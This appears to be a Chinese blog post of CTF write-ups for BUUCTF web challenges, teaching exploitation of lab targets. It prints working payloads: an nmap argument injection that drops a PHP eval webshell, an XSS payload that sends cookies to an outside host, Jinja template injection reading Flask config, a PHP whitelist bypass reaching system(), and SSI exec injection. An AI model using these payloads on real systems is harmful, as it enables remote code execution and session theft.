buuctf web write-up 2

[网鼎杯 2020 朱雀组]Nmap

知识点:nmap命令行参数注入

-oG #可以实现将命令和结果写到文件
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);//源码的大概形式

传文件上去

' <?= @eval($_POST["pd"]);?> -oG pd.phtml '

[BJDCTF 2nd]xss之光

知识点:反序列化之PHP原生类的利用

参考
http://blog.ydspoplar.top/2020/03/17/php可利用的原生类/

这里说 Error类和Exception类内置了一个toString方法,可以用这个触发xss漏洞。

payload:

<?php
$a = new Exception("<script>window.location.href=\"http://6493f037-7891-49a8-a042-b185bb260ac1.node3.buuoj.cn/?cookie=\"+escape(document[\"cookie\"])</script>");
$b = serialize($a);
echo urlencode($b);
?>

[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

分析源代码
app.config['FLAG'] = os.environ.pop('FLAG')#这里把flag存到config然后删除,pop(),用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

之后过滤左右括号,过滤config和self

如果没有黑名单的时候,我们可以使用config,传入 config,或者使用self传入 {{self.dict}}

当config,self,()都被过滤的时候,为了获取讯息,我们需要读取一些例如current_app这样的全局变量。

这里有两个函数包含了current_app全局变量,url_for和get_flashed_messages

payload:
/shrine/{{url_for.__globals__}}

里面的current_app

/shrine/{{url_for.__globals__['current_app'].config}}

[CISCN2019 华北赛区 Day1 Web2]ikun

这题主要是python反序列化,新世界的大门

先找到lv6在哪

import requests
import re

for i in range(0,999):
    url='http://695dc2a4-65e7-46f7-9f15-ed0b0e96397c.node3.buuoj.cn/shop?page='+str(i)
    r = requests.session()
    text = r.get(url).text
    if(text.find('lv6.png')!=-1):
        print(i)

访问得到,但是钱不够,抓包

把discount改成0.000001,然后跳转到big_member这个网页,说需要admin才能查看

上图中的JWT,全称是 json web token,将其base64解码

后面是加密的内容。

https://www.cnblogs.com/cjsblog/p/9277677.html

这篇文章讲JWT的讲的挺好,JWT是由几部分组成,Header,Payload和Signature,用来加密用的。

https://jwt.io/ JWT在线生成,firefox改cookie。

进入到下一个界面。

[CISCN 2019 初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这里过滤了一些符号,包括单引号双引号。利用一些数学函数构造payload/
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
这里我理解的意思是,从第一个是字母或者下划线或者一些不可见字符开始,直到匹配到特殊字符终止,这里我自己本地跑了一下,例如abc(),c12%,这种就会匹配到非范围内的就会停下来。

payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi{exp}))&pi=system&exp=more /flag

但是这里已经有104个字符了,还是能出flag,再长一点就太长了,有点奇怪。

base_convert(),进制转换,最多只能36位,也就是0-9+a-z。
base_convert(37907361743,10,36)->hex2bin #16进制转为acsii字符
dechex(1598506324)-> _GET的16进制

[BJDCTF2020]EasySearch

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

这里先从passwd里面登陆

找到一个2020666

返回头有个


这里的后缀是shtml
知识点:SSI注入
[https://blog.csdn.net/qq_40657585/article/details/84260844]

在user位置进行注入

首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。
①显示服务器端环境变量<#echo>
本文档名称:
<!–#echo var="DOCUMENT_NAME"–>
现在时间:
<!–#echo var="DATE_LOCAL"–>
显示IP地址:
<! #echo var="REMOTE_ADDR"–>
②将文本内容直接插入到文档中<#include>
<! #include file="文件名称"–>

<! #include virtual="文件名称"–>

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:
<! #flastmod file="文件名称"–>
文件的长度:
<!–#fsize file="文件名称"–>
④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!–#exec cmd="文件名称"–>

<!–#exec cgi="文件名称"–>

posted @ 2020-07-28 11:49  vstar_o  阅读(242)  评论(0编辑  收藏  举报